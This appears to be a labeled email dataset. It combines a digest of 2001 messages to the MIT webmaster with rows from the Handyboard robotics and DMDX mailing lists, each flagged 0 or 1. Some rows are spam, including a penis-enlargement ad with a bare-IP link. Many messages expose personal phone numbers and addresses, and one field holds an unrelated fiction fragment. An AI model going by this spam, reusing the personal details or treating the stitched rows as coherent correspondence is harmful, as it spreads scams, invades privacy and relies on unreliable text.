Thank You Linda ---- Date: Sat, 10 Feb 2001 10:46:15 -0500 (EST) From: rahmat_hadi_suman@MIT.EDU To: web-request@MIT.EDU Subject: let me know about your schoolarshift dear sir/mam: my name is rahmat hadi suman, i'm one of student in university of general achmad yani in cimahi west java indonesia.i'm m ajoring in telecommunication eng,the faculty of technicque. i'd like to know about your schoolarsift because i really wanted to go to america to get my master degrees. being to go america for study is my child dream's. beside that i really wanted go there because there nothing here in ind onesia. people talk to much but they null in ideas and demonstration minded. i know mit is the best institute in the world and i really wanted to go there and study to get my master. send me your suggestion and i hope it is good information to me. thank you for attention. your's sincerelly rahmat hadi suman ----- Date: Sun, 11 Feb 2001 20:39:53 -0500 (EST) From: cyntak@usa.data.net.net To: web-request@MIT.EDU Subject: Renewable Energy Dear Sirs/Friends @ M.I.T.; Need a phone no. for any of your Science or Enginneering departments. I need to confer with someone as to weather or not your people would be interested in looking at design proposals for a magnetic turbine, which I have had since 1969. Energy at the cost of bearings and gears. A lot of technology could be reaped from this machine and its many versions. This should also include data dealing with gravitation. I have termed this machine one of an Ultimate Machines. There is also a proposed Nuclear version. Please call for more info. Edw ard C. Lawrence Jr. @ (315) 823-4269 best time: 10:30am-2:00 pm (M-F) and anytime Sat. Sun. ----- Date: Wed, 14 Feb 2001 05:13:04 -0500 (EST) From: hanne.andersen@ambitiongroup.com To: web-request@MIT.EDU Subject: Cats in glass Hello, I don't know if the rumour is right, but in the newspapers in Norway there is a story about your students putting cats on glasses and thereby performing ultimate cruelty to animals. As the story says, this should be a humorous protest against far-out animal activists . I come from a country where we eat whales and shoot wolves, so I can see the point in the thought. But there are acceptable ways of mak ing a point and there are sick and sadistic ways. If the rumour is correct I want to express my disgust and dismay about what grown-up pe ople actually are capable of doing. Yours, Hanne from Norway ----- Date: Wed, 14 Feb 2001 23:42:15 -0500 (EST) From: extramurphy@yahoo.com To: vrtour@MIT.EDU Subject: Programs for inventors Do you have any paid opportunities for people that would like to be inventors? What would the requirements be? Thanks, Ernest Murphy from Texas. ----- Date: Sat, 17 Feb 2001 13:38:42 -0500 (EST) From: karenbe@juno.com To: web-request@MIT.EDU (Other) Subject: oldest living alumni Hi: As I recently showed a photo of my uncle, Fred Baum, standing on the rooftop of a building at MIT in the early 1900's, I wonder ed aloud if he were the oldest living graduate of MIT. He will be 96 years old in March. If interested, I can send you the photo of him, wearing knickers, stripped socks and a cap. Thanks for your time. Karen Eisenstein ----- Date: Sun, 18 Feb 2001 06:35:19 -0500 (EST) From: chauncey55@hotmail.com To: Sg@MIT.EDU Mei Ka(H.K.) Umbrella Company Our company, has set up the manufacturing factory in Mainland China since 1988, to produce different kinds of sunshade parasol, umbrella and childish umbrella etc. There is a professional design and printing section in our factory to handle the design of advertising and gift umbrella/ sunshade to suit the requirement of customers for developing their business. Using our umbrella for advertisement, it is the fast and effective way to promote your new products in a low price. Please do not hesitate to contact us for further information. wedsite:www.meika.com.hk email:meika@meika.com.hk ----- Date: Mon, 29 Jan 2001 09:57:14 -0500 (EST) From: emenent_2000@yahoo.com To: web-request@MIT.EDU Subject: information about be mechatronics. kindly sent me information about addmission in B.E. MECHATRONICS ENGINEERING ..... THANXXXXX..... ----- Date: Mon, 19 Feb 2001 15:38:55 -0500 (EST) From: yell4@aol.com To: web-request@MIT.EDU Subject: missing cd data pin i have an memorex cdrw-1622 (an no money to replace it)somehow there is a broken data pin (40 pins) is there a way to fix this or is there some kind of adhesive i can use that can also conduct electricity to make this thing work? i am willing to try any suggestion that you might have also if this request is not directed to the proper sources could you please direct me the proper source.(email etc) an immediate response to my question would be greatly appreciated...thankyou george littlewood yell4@aol.com ----- Date: Thu, 22 Feb 2001 17:50:12 -0500 (EST) From: DanielGoniea@hotmail.com To: web-request@MIT.EDU Subject: New physics. I have developed a new science which solves the cosmological matter anti-matter assymetry problem. This science also predicts particle decay modes using a new type of conservation theory. It reduces the number of fundamental particles down to only one while eliminating the concept of flavor (up, down, strange, charm, top, bottom). It also predicts and explains the apparent charge non-conservation in the observed decay mode of (proton) -> (neutrino)+(anti-neutrino). It explains the ""strange"" nature of ""strange"" matter, especially the neutral K meson. It offers a new theory about momentum and unites sound into the particle physics world. It offers a new theory for electron tunneling. It explains away the ""dark matter"" problem. It offers a new theory for background radiation. It has an interesting cosmologicac model. It explains why the last term is negative in Minkowski's space-time transformation (it has to do with how the first dimention of time is related to the other two). It also predicts how galaxies form. It offers a new theory for gravity. Plus a lot more. I want to offer my work to anyone who wants to hear about it. In return, all I want is to be able to furthur my work at any institution that is interested (especially since I don't have the equipment to test my theory on gravitational shielding using an interaction with a static field with sound waves). To be honest, I am quite frustrated with this country and am probably going to move to Poland, but I thought I should give things here one more chance. E-mail me if you are interested. DanielGoniea@hotmail.com. or call: (248) 310-4841 ----- Date: Fri, 23 Feb 2001 18:13:22 -0500 (EST) From: kms0927@aol.com To: web-request@MIT.EDU Subject: distillation in conversation a remark was made that in the distillation of water, only non me tallic containers can be used. please advise whether this is true. thank you ---- Date: Sun, 4 Mar 2001 14:11:40 -0500 (EST) From: www.barki21@caramail.com To: web-request@MIT.EDU Subject: application i want to have an admission to mit. ---- Date: Fri, 9 Mar 2001 17:56:29 -0500 (EST) From: ceaser20000_98@yahoo.com To: web-request@MIT.EDU Subject: Java Solution(Computing) I want to build an applet that will be designed to let a person select an item of some sort and the quantity.Then the person will be asked to confirm the the things choosen so that they should be able to read it back with the total price and to make any changes requested by the person. I would like it to allow the user to enter details of an order i.e item ,quantity,Price,Item Total,calculate and display the price of item, total cost,change details of order,enter amount given and change,display a bill for each order.It should be able to add the order price to the total reciepts of the day and reset the screen for next customer. If possible i would like it to have a function where a person could change prices of items or change ,delete or add the catergory of items. Could you give me a solution or code that could implement the above. Could you email the solutions to me directly! at Ceaser20000_98@yahoo.com ---- Date: Tue, 13 Mar 2001 08:44:19 -0500 (EST) From: mikeyu@tomigi.com To: web-request@MIT.EDU Subject: the spelling of the massachv?? Hi. i did find out that the spelling of the ""massachvsettes"" which is a little mistake on the top of the front building viewing from massachusettes ave. can you tell please tell me why is that happen?? i realized that is like that since the first day that the people completed the w ork.thankyou! ----- Date: Wed, 14 Mar 2001 19:25:19 -0500 (EST) From: 09094561048@jp-s.ne To: web-request@MIT.EDU Subject: hgdeo nakano 21old i will go to mit. it's study my dream mit. ---- Date: Mon, 12 Mar 2001 15:15:04 -0500 (EST) From: laytonj@bellsouth.com To: web-request@MIT.EDU Subject: electronics Our 9 year old son is interested in eletronics and he said he wants to go to the best school when he gets big. His Dad told him about M.I.T. ---- Date: Mon, 12 Mar 2001 15:28:11 -0500 (EST) From: tincup50@home.com To: web-request@MIT.EDU Subject: microwave mind control In regards to Professor Kamen, I'm interested in the use of mind control systems by the use of RF signals and their availability to the public if any. More so my intere st pertain to the research of said systems. Does the DEKA Organization do any of this research in any of your labs and are there courses in your biotronics or telemetery available? Thank you, John ---- Date: Tue, 20 Mar 2001 17:36:18 -0500 From: ""Ronald W. Cook"" To: web-help@mit.edu Subject: Educate? You are perpetuating the use of illogically constructed date formats on your web pages. They would look so much better if they were formatted the way you would have formatted them given no prior information. Won't you please help in this matter? It is the 2001st March 20th. If in eighth grade, you were given the following word problem: SS: A second cycles 0 - 59, there are 60 seconds in a minute MM: A minute cycles 0 - 59, there are 60 minutes in an hour HH: An hour cycles 0 - 23, there are 24 hours in a day DD: A day cycles 1 - n, where n is determined by a month name or affiliated number, there are n days in the respective month. MM: A month cycles 1 - 12, there are 12 months in a year YYYY: is the count of the number of 12 month cycles. Format these as a date-time-group. Given no a priori knowledge, can you possibly think that in your lifetime, you would have devised any format sequence other than YYYY/MM/DD HH:MM:SS ? This should be part of an IQ test. Maybe it was and I flunked. Maybe we'll have to wait for a rude awakening or we don't pay enough for energy. Please do not use insidious date formats: http://cowaro.com/Date/Logical_date.html http://antwrp.gsfc.nasa.gov/apod http://www.sec.noaa.gov/today.html http://www.ipac.caltech.edu/2mass/gallery/images_ss.html or be sequacious. Ron Cook hm 703-471-7226 12915 Alton Sq., #117 rwc@cowaro.com Herndon, VA 20170-5802 www.cowaro.com YYYY/MM/DD (HH:MM:SS), YYYY Mon DD or variations thereof. You say you want to get into space faster, cheaper, safer? Prove it - write the date logically. Go metric. Remember the MCO! Where is Moonbase 1? ----- Date: Sun, 1 Apr 2001 09:37:40 -0400 (EDT) Message-Id: <200104011337.JAA22348@salticus-peckhamae.mit.edu> Received: from 200.249.237.108 by web-forms.mit.edu with HTTP; Sun, 01 Apr 2001 09:37:40 EDT X-Mailer: cgiemail 1.3 (form=""http://web.mit.edu/comment-form.html"") (action=""/bin/cgiemail/afs/net/admin/www/root/comment-form.txt"") From: igorpetronio@uol.com.br To: web-request@MIT.EDU Subject: ABOUT INFORMATION! Errors-To: lisanti@MIT.EDU Content-Type: text Content-Length: 497 HI! I�M FROM BRAZIL AND I�M STUDENT . I want study there, can be. I WANT KNOW ABOUT YOU, BECAUSE I WANT KNOW WHOW DO I DO GOT TO STUDY THERE . ALREDY CHANCE TO GIVE THE VIST TO GO THERE . EXUSE ME BUT MY ENGLISH IS BED. I AM VERY HAPPY IN TLAK ABOUT THE MIT. I WOULD WANT ANSWER ME SO. OK I�LL STAY HOLDING ---- From: david.r38@ukonline.co.uk Received: from pop3.freeserve.net (tnt-17-219.easynet.co.uk [212.134.30.219]) by pacific-carrier-annex.mit.edu (8.9.2/8.9.2) with SMTP id OAA25933; Tue, 3 Apr 2001 14:32:47 -0400 (EDT) Content-Transfer-Encoding: 8BIT Message-Id: <042h2u0.nqod2bqxbo7u@pop3.freeserve.net> Subject: I`ll show you how to pick up girls !! Date: Tue, 03 Apr 2001 19:28:27 +0000 To: $user@mit.edu Reply-To: david.r38@ukonline.co.uk Content-Type: text/plain; charset=us-ascii Content-Length: 283 Hi I`am so brilliant at picking up girls that I have recorded a tape (or downloadab le file) on how ANYONE can attract beautiful women. Does this interest you ? Would you like to know more WITHOUT any obligation ? Please e.mail be in TOTAL confidence david.r38@ukonline.co.uk ----- Date: Thu, 26 Apr 2001 02:13:51 -0400 (EDT) To: web-request@MIT.EDU Subject: the mit guide to lockpicking Dear M.I.T, I have just seen ""the mit guide to lockpicking"" on the internet. I am a locksmit h in London uk. My family have been locksmiths for more than thirty years. I wou ld like to say that I think it is a disgrace that you have been involved in pass ing this information on to people who have no intention of becoming locksmiths. As a locksmith I do not share the skills I have learned with ANYONE other then o ther locksmiths or trainee locksmiths. If I am in a bar with friends I would no t give them detailed information on how to try and open locks as this would be h ighly irresponsible. I realise you are stating that you are not happy about the ""guide"" being on the internet and you want your name removed from it however, the fact that you have been involved with this ""guide"" which may well have been called ""guide on how to encourage people to commit burglary"" is a disgrace. What sought of education institute are you?. You should be ashamed. You should a lso consider using any power or influence you have to not just get your name rem oved from this ""guide"" but getting this ""guide"" removed from the internet. Yours sincerely, Mr D Brennock ---- To: dbopenlock@aol.com cc:web-request@mit.edu Subject:Re: the mit guide to lockpicking -------- Hi, You might be interested in the following response by the MIT Hacking community on learning that the so-called ""MIT Lockpicking Guide"" was available on the web: http://www.mit.edu/afs/sipb.mit.edu/project/www/stock-answers/lockpicking-guide Furthermore, the guide does not seem to be hosted on MIT servers, so perhaps you should address your complaint to those who are making the information available, or to those who authored the guide in the first place. We are the MIT Webmasters -- this doesn't fall under our jurisdiction. I am sorry to hear that you find the guide to be so objectionable; however, MIT does not attempt to censor its students. As an undergrad myself, I can honestly say that I am quite thankful for this. MIT does not have a policy of holding students' hands. Additionally, you will note that the MIT hacking community is just a fraction of the MIT population, so to make this into an attack on MIT as an institution is perhaps a bit misguided. There are hundreds of student groups at MIT, and I'm sure there are several more with whom you might disagree. That is no reason for the Institute to keep them on a tight leash or do away with them. Nobody need look very hard for something on the Internet which they find to be offensive. Perhaps you should look at this guide as more of an appreciation for your trade, rather than as an attack on it. I am certain there is much respect among MIT students for your trade, and, of all schools, at MIT you would probably find the most respect for it. The MIT hacking community does not encourage or condone burglary or any other such crimes. I think you would find there to be a great deal of respect and consideration for others' property among MIT students. I do not see anything wrong with wanting to understand or to learn how to do something, be it picking a lock or solving a differential equation. Sincerely, Amrys O. Williams Class of 2002 for web-request@mit.edu ----- Date: Thu, 26 Apr 2001 15:16:39 -0400 (EDT) To: campus-map@MIT.EDU Subject: Equivalent (won't leave blank) To Whom I know; I'm a 32 year old high school flunky (well; registerd to attend SMCC, and hope to do better there <@ math dead>) surfing the web; remembering dream of attending MIT, then hit your site finding wit @ crossword. Curious of the campus; delighted to find more wit @ ""..still faster.."" while operating map. Anyone attending MIT should know this: Thank the heavens; it's not all skill that got you there as THIS email page reads illogical @ ""MIT Campus Map Su ite; Suggestions, Comments, and Criticisms for campus-map@mit.edu... If you found errors in the campus map or have suggestions for ways in which the sy stem could be improved, please let us know using the form below."" What if we JUST wanted to say; ""good job""? Suggestion for system improvement: 1) Try english @ what this if for; really for. 2) Don't put; ""(please don't leave blank)"" as it makes at least one of us seem stupid. mark; dt; web terrorist mjetmir@mindspring.com p.s. This is my last free suggestion letter to MIT, and I hope the web evolves with more, sense. Any more suggestions from me on this matter constitutes presentation; a full expense paid scholarship at MIT to me or MIT scholarship cash equivalent,* because I am not a bully* by MIT invitation via email at the above address. ----- Date: Mon, 07 May 2001 12:03:16 -0400 To: web-help@mit.edu From: Blanca Yanulis Subject: Admission Dear Sir/Madame: I would like to set an appointment with the Undergraduate Admission Office. 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It that would mean purchasing a t-shirt, hat, etc., than that's fine too. But would really appreciate any suggestions you can make which would not necessa rily be something parents would get, or MIT require he have when he arrive on ca mpus. Of course, we are wanting things that he would be allowed to have on campus. Thank you for any help you can give to us. ---- Date: Fri, 11 May 2001 08:46:52 -0400 (EDT) Message-Id: <200105111246.IAA15423@pellenes-shoshonensis.mit.edu> Received: from 194.106.152.254 by web-forms.mit.edu with HTTP; Fri, 11 May 2001 08:46:52 EDT X-Mailer: cgiemail 1.3 (form=""http://web.mit.edu/afs/athena.mit.edu/org/c/cwis/comments.html"") (action=""/bin/cgiemail/afs/athena.mit.edu/org/c/cwis/comments.txt"") From: sandra.curran@oracle.com To: web-request@MIT.EDU (Other) Subject: Quick Start iSeminar on 15th May Errors-To: cwis-help@MIT.EDU Content-Type: text Content-Length: 587 http://training.mit.edu/training/FMPro?-db=Courses&-lay=Data_web&-format=indiv.h tml&CourseID=11352&-find This is the url. On this page there is information about an iseminar for a QuickStart on Tuesday 15th May at 12 noon - 1.00. However, id this US time? Or time in Europe. I am fr om Ireland, Europe, and would like to attend. However, it's not clear on the tim e of the iseminar. Please advice as soon as possible. Thanks in advance, Sandra ---- Date: Thu, 17 May 2001 18:33:30 -0400 (EDT) From: brichter@slac.stanford.edu To: web-request@MIT.EDU Subject: poor response from your site I'm sitting in my lab at the end of a very fastlink, but info is coming from you more slowly than if I was using my phone modem at home. There must be something wrong at your end. Please fix. Burton Richter ----",0,1 bahador bahrami ,DMDX@psy1.psych.arizona.edu,"Tue, 20 Jun 2000 00:09:34 -0000",[DMDX],"Dear j.c.f, I am trying to set up a target/distractor discrimination task which involves the display of some colored bmp file in a certain (and variable) display time followed by a question asking target's presence or absence from the subject. I do not wish to measure RT directly but the display time and the subject's error rate will later determine it for me. My problem is that I can't get the dmdx to report to in the azk file as to which button the subject has chosen to push after having seen the impage. How can I manipulate the output file in this way? sincerely yours, Bahador Bahrami My item file is : N16 f38 $ 0 ""Press SPACEBAR to start""; $ +1 � ""target"" / /; $ 0 ""the end. Thank you"" ; $ ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 19 Jun 2000 13:07:15 -0700",[DMDX] Re: ,"At 12:09 AM 6/20/00 +0000, you wrote: >How can I manipulate the output file in this way? You don't, the sign of the RT indicates which is pressed, +ve is correct key, -ve incorrect. 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I understand youve got guards- Youre goddamned right! cried St. Jacques. The trouble is I dont know what to look for except strangers in boats or on the beach, and if ",1,1 Sean Verret ,handyboard@media.mit.edu,"Wed, 21 Jun 2000 22:42:46 +0000",Handyboard Site,"Hey all, Feel free to check out this handboard site, it's used along side a course taught at the University of Alberta. Feel free to write me back with any criticism http://www.ee.ualberta.ca/~verret/ee401/index.html Thanks Sean Verret B.Sc. Electrical Engineering M.Sc. Electrical Engineering 2002 University of Alberta mailto:verret@ee.ualberta.ca http://www.ee.ualberta.ca/~verret/ Phone: (780) 439-0329 Fax: (206) 493-2713 ",0,1 John Hatton ,HB Mailing list ,"Thu, 22 Jun 2000 10:00:02 +0100",LCD Memory Map,"I am just checking that I have got the LCD operation right so I apologise to anybody who is already clear on this. On the LCD module the Register select and Read/Write pins are connected to the A9 and A8 lines of the HB and the DB0-DB7 pins are connected to the D0-D4 lines of the HB. I believe that the HC11 goes into a special mode to use the lcd, which means that it disables the use of the external 16 bit address bus so that the A9 and A8 lines are controled as outputs and the D0-D7 lines are used to send the 8 bit word to the module. Is this correct ?, I'm just starting to build the board and have had to use a different LCD module than I intended so I am just making sure that I understand the intended operation of the module so that I can be sure that the replacement will work correctly. If I have got the operation right the LCD should be fine. It is a VK2216 (made by Vikay I think, if that means anything to anybody) but the data sheet specifies that the module has a Hitachi compatible controller/driver and the pin layout and electrical characteristics seem to be the same as the one used in the HB documentation. Thanks in advance. John Hatton ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Thu, 22 Jun 2000 08:16:05 -0400","HB site down, use alternate","hi all, we are working through a hardware crash of the primary HB web site server machine. for now, please use instead: http://lcs.www.media.mit.edu/groups/el/projects/handy-board/ fred ",0,1 Piotr Buciarski ,piotrek@searchgenie.com,"Thu, 22 Jun 2000 14:40:34 -0700",Great Summer!,"You have Received a SearchGenie Postcard from Searchgenie.com! Searchgenie dot com wishes you a great summer holiday! Searchgenie dot com wishes you a great summer holiday! ",1,0 Bob Hanson ,handyboard@media.mit.edu,"Fri, 23 Jun 2000 02:09:20 +0000",HB for sale,"I am seeling my HB, it was only used for my senior project. Total time of use would be about two weeks. One modification was made to the board which was a differant switch was put on to it to turn it ON and OFF. If you are inteested please e-mail me at Opasan43@hotmail.com for more details. ",0,0 BMajik5127@aol.com,handyboard@media.mit.edu,"Fri, 23 Jun 2000 13:35:14 -0400",**Deleting files?**," Hi , I was wondering if there is a way to delete all user input files from the Hb without typing,"" UNLOAD FILE NAME"".? Also is there a way to make the HB execute a command while downloading a program, without causing the Hb to stop loading my files? Any info appreciated. -Mike ",0,0 Robert Kelly ,handyboard@media.mit.edu,"Fri, 23 Jun 2000 18:14:25 +0000",Dificulties downloading to partially assembled board,"I am at the point in construction where it asks you to test serial communications to the board before proceeding with memory installation. I hesitate to continue until I am comfortable with the workings of my board. When trying to establish comms, I get the message ""board not responding, reconfigure board settings?"". If I am not mistaken, the board and host should syncronize and then the host would attempt to install the pcode or load the hb libraries if pcode is already in place. I am using the correct port settings (com 1). The board (in the bootstrap mode - all tests are ""go"" in that regard) seems to indicate SOME form of comms is occurring as the green pwr LED comes on after trying to connect the host and h-board. The charging board SER LED stays on steadily and the green PWR led does nothing until it eventually turns on. My debugging of the charging board was successfully completed per the instructions in the Acroname kit. I purchased my kit from Acroname. I am running a P3-450 with Windows 98. I am using the Acroname distributed commercial IC 3.2 and ver 1.2 H-board. I downloaded the HBDL.exe file. I attempted to download pcode from there. It seemed to work and got to a point where it found a bad memory address, which is ok per the instructions and the fact that there is no memory yet. I had blinking LEDS on both the h-board and the charging board. Is the use of HBDL.exe only necessary for the downloading of pcode? Do I have to use it every time I try to download any code to my board? Why does a commercially available version of IC not work with a so-called fast computer? Is there a bug fix or patch aavailable? Is this the only problem or should I stop construction of my board and fix something? Please help, I am really perplexed here. Thanks, Bob Kelly ",0,0 Gary Livick ,handyboard@media.mit.edu,"Fri, 23 Jun 2000 18:40:50 +0000",Re: Dificulties downloading to partially assembled board,"The ""fast"" processors are legendary for having problems with loading IC pcode and libraries. Probably, your board is fine. Have you looked at the page on the HB website having to do with com problems? It's at http://lcs.www.media.mit.edu/groups/el/projects/handy-board/faq/winindex.html, and is a good place to start. If you cannot get anywhere from there, then go to my site and look at the ""Basic Introduction to the TCOMP."" This is a description on how to get PCbug to run on the HC11 (along with some other helpful stuff). It is written for my board (the Super T) but it will work just fine on the HB. It won't help you solve your com problems, but it will tell for sure if your board is working or not. After that, it's a matter of fiddling with the port settings on your computer. Don't give up. As soon as you get past this problem with communications, it gets easier. Gary Livick Tiny HC11 products for your robot http://www.teleport.com/~raybutts/ Robert Kelly wrote: > I am at the point in construction where it asks you to test serial > communications to the board before proceeding with memory installation. I > hesitate to continue until I am comfortable with the workings of my board. > > When trying to establish comms, I get the message ""board not responding, > reconfigure board settings?"". > > Please help, I am really perplexed here. > > Thanks, > > Bob Kelly ",0,1 Brian Peltier ,handyboard@media.mit.edu,"Sat, 24 Jun 2000 12:21:09 -0500",Question,"I am attempting to get a head start on a school project using the handyboard. However, I can't seem to find a good place to purchase the necessary LEGO components. I would prefer to not have to buy a Technic set. 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Sincerely, Bahador Bahrami ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com",0,1 Matt Davis ,DMDX@psy1.psych.arizona.edu,"Mon, 26 Jun 2000 16:00:38 +0100",[DMDX] Re: ,"At 19:17 26/06/00 IRST, you wrote: >How could I display my graphic files together with pretrial fixation >point display and post-trial masking? You need to put each visual event in a separate frame, with / marks separating each frame. For example: +1 ""+"" / * ""target"" / ""mask"" /; will display the fixation cross (+ sign) for approx 500ms, then the target for approx 500ms and then the mask for 2000ms. RT will be measured from the onset of the target item (as indicated by the *). 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Does anyone know if this has been done before (sure it has) and where I can obtain some code? Is there anyone out there who may be interested in helping me with this project? Any help would be appreciated. If you are interested in this idea, visit my website to see how this will be used in my Quarter Scale race car section. http://members.visi.net/~stevens You may also email me at stevens@visi.net Steve Stevens ",0,1 """John R. Edwards"" ",handyboard@media.mit.edu,"Tue, 27 Jun 2000 19:39:05 +0000",Sound Start for Handyboard,"I need to build a circuit that will listen for a 3.5kHz tone and then activate a program on the Handyboard. I have seen a few different circuits in various books but none seem tailored to my specific needs. Does anyone out there have a good electret condenser microphone amplifying circuit for the Handyboard and can the handyboard decode the tone or should I build a 567 tone decoder circuit also. Any help would be greatly appreciated. John Edwards ",0,0 James Munro ,"""John R. Edwards"" ","Tue, 27 Jun 2000 15:21:28 -0500",Re: Sound Start for Handyboard,"> I need to build a circuit that will listen for a 3.5kHz tone and then activate > a program on the Handyboard. I have seen a few different circuits in various There's a circuit at the Seattle Robotics Society website, under the encoder. Sounds like it might be what you're looking for. -Jim Munro",0,0 Richard Drushel ,handyboard@media.mit.edu,"Wed, 28 Jun 2000 15:01:36 -0400",minor update to new random.c," Field testing in a real class is the best way to get bugs out of code :-) My summer robotics class discovered a couple of ""misfeatures"" in my new random.c pseudo-random number generator library: (1) the rndrangei(), rndrangel(), and rnd() functions could not return the upper bound of the range. E.g., rndrangei(0,2,1) would return only 0 or 1, never 2. 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I am using the recommended 1.2V 600mA bettaries The RED LEDs for the motor O/P also lightes up when I tried to go into bootstrap. The Red and Green LEDs no lightup for 1/3 sec and go off during the process. I would really appreciate any help/guidence Thanks in advance, Raymond ",0,0 Gary Livick ,handyboard@media.mit.edu,"Thu, 29 Jun 2000 03:33:09 +0000",Re: Unable to go into bootstrap,"This problem is very common. Probably, your board is fine. Check this page on the Handyboard site to start off with : http://el.www.media.mit.edu/groups/el/projects/handy-board/faq/winindex.html If you have no luck with that, then try fooling with your port settings. Switch from xon-xoff to none, etc. Somewhere in there is your answer. Good luck, Gary Livick tiny HC11 board for your projects http://www.teleport.com/~raybutts/ Raymond Tan wrote: > I have recently obtain a handyboard kit. > This is my first board. > After connecting the Ni-Cad batteries and adapter, I proceeded to download > therequired .s19 file using HBDL. > It was unsuccessful. > > The LCD screen displayed one line of brightly lighted squares. > I checked the LCD +5V supply, it was alright. What could be wrong? > > I suspect that my battery connection may have some problems, how should I > check if my batterie are sound could they be shorted. tested one of the , > voltage was okay but the current reads 6A. Is my multimeter not working? > I am using the recommended 1.2V 600mA bettaries > > The RED LEDs for the motor O/P also lightes up when I tried to go into > bootstrap. The Red and Green LEDs no lightup for 1/3 sec and go off during the > process. > > I would really appreciate any help/guidence > > Thanks in advance, > Raymond ",0,1 Buddy ,"handyboard@media.mit.edu, shawna@media.mit.edu, cecile@media.mit.edu, johnnie@media.mit.edu, greta@media.mit.edu, shari@media.mit.edu, ava@media.mit.edu, mayra@media.mit.edu, hazel@media.mit.edu","Wed, 28 Jun 2000 23:51:05 -0600",Increase Penis Size," Hi Man: Study show 76% of woman are not satisfied with their lovers size ! Now Add 3"" To Your Penis - Guaranteed. or we refund your money 100% ! Order here now, We ship worldwide ........ http://62.127.253.91/ps/ grossg7890hjhsjkl ",1,1 Matt Davis ,DMDX@psy1.psych.arizona.edu,"Thu, 29 Jun 2000 13:47:46 +0100",[DMDX] Citation for DMDX,"Is there a recommended way of referring to DMDX in journal manuscripts? Is there a publication that we can include in the bibliography or some other form of citation? Thanks, Matt **************************************************** Dr Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#621) Fax: 01223 359 062 **************************************************** ",0,0 Matthew Finkbeiner ,DMDX@psy1.psych.arizona.edu,"Thu, 29 Jun 2000 10:07:19 -0700",[DMDX],"Matt, this is taken from the DMASTR Home Page: ------------ The DMASTR software is distributed free of charge, and we ask only that you acknowledge use of the system in publications (e.g., ""The experiment was run using the DMASTR software developed at Monash University and at the University of Arizona by K.I.Forster and J.C.Forster.""). ------------ Matthew > Is there a recommended way of referring to DMDX in journal manuscripts? Is > there a publication that we can include in the bibliography or some other > form of citation? > > Thanks, > > Matt > > > **************************************************** > Dr Matt Davis > MRC Cognition and Brain Sciences Unit > 15 Chaucer Road, Cambridge, CB2 2EF > > email: matt.davis@mrc-cbu.cam.ac.uk > tel: 01223 355 294 (#621) > Fax: 01223 359 062 > > **************************************************** > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > ",0,1 Adam Oliver ,'Handyboard Mailing List' ,"Fri, 30 Jun 2000 11:07:32 +0800",sonar and overflow,"Greetings all, Has anyone managed to work out some code which checks the overflow bit for the counter used in the polaroid sonar code? At the moment mine distance readings seem to be maxing out around 1.5m or so, and I'm not sure if it's the timer running out or if it's my circuit not having enough gain to receive a signal from further than that. I've had two conflicting answers with regards to the maximum time that can be measured - one which says about 1.5m and another which says somewhere closer to 8-10m. Can anyone (Fred?) give me an answer? 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Boris ================================== Boris New Centre Universitaire de Boulogne Institut de Psychologie, Université Paris 5 Laboratoire de Psychologie Expérimentale 71, avenue Edouard Vaillant 92774 Boulogne-Billancourt Cedex Tél: 01 55 20 57 36 ********************************** Boris.New@psycho.univ-paris5.fr ********************************** ================================== ",0,0 Martin Ziegler ,handyboard@media.mit.edu,"Fri, 30 Jun 2000 10:49:13 +0000",Re: sonar and overflow,"Hi I think that the longest distance your able to measure is about 2.7m. The counter is 16 bit long and has no sign. But the integer is has a sign, so you can only use 15 bits, which is 32768. The counter increases each 0.5ns (pink book). Sound travels at approximatly 340m/s. 32768*0.0000005*340/2=2.78m If you need longer distances, you need do handle with the overflow bit. I wasn't successful until no. The next few month i will not have the time to get one with that. So if you find a solution, please let me know. Bye Martin In lugnet.robotics.handyboard, Adam Oliver writes: >Has anyone managed to work out some code which checks the overflow bit = >for the counter used in the polaroid sonar code? At the moment mine = >distance readings seem to be maxing out around 1.5m or so, and I'm not = >sure if it's the timer running out or if it's my circuit not having = >enough gain to receive a signal from further than that. > >I've had two conflicting answers with regards to the maximum time that = >can be measured - one which says about 1.5m and another which says = >somewhere closer to 8-10m. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 30 Jun 2000 09:40:33 -0700",[DMDX] Re: Citation for DMDX,"At 01:47 PM 6/29/00 +0100, you wrote: >Is there a recommended way of referring to DMDX in journal manuscripts? Is >there a publication that we can include in the bibliography or some other >form of citation? Ken will reply. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ C, n.: A programming language that is sort of like Pascal except more like assembly except that it isn't very much like either one, or anything else. It is either the best language available to the art today, or it isn't. - Ray Simard ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 30 Jun 2000 09:41:13 -0700",[DMDX] Re: Item Number,"At 11:24 AM 6/30/00 +0200, you wrote: >Hi, > >I htink that it could be very practical if dmdw would auotrize to have >characters and not only numbers in item numbers: it would permit make >directly statistical analysis on the result file. It's not going to happen. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ C, n.: A programming language that is sort of like Pascal except more like assembly except that it isn't very much like either one, or anything else. It is either the best language available to the art today, or it isn't. - Ray Simard ",0,0 Jesse Spencer-Smith ,DMDX@psy1.psych.arizona.edu,"Fri, 30 Jun 2000 12:04:54 -0500",[DMDX],"Hello - When we wish to encode information concerning a trial into the item numbers, we associate the relevant information (e.g. condition) with a numerical scale, and multiply by powers of 10. To get the information back out, we pull the data into a spreadsheet and use the mod operator. The data are then ready to be pulled into a statistical analysis package. This seems to be a common scheme. Jesse ""j.c.f."" wrote: > > At 11:24 AM 6/30/00 +0200, you wrote: > >Hi, > > > >I htink that it could be very practical if dmdw would auotrize to have > >characters and not only numbers in item numbers: it would permit make > >directly statistical analysis on the result file. > > It's not going to happen. > > -jonathan (j.c.f.) > > /""\\ > \\ / > X 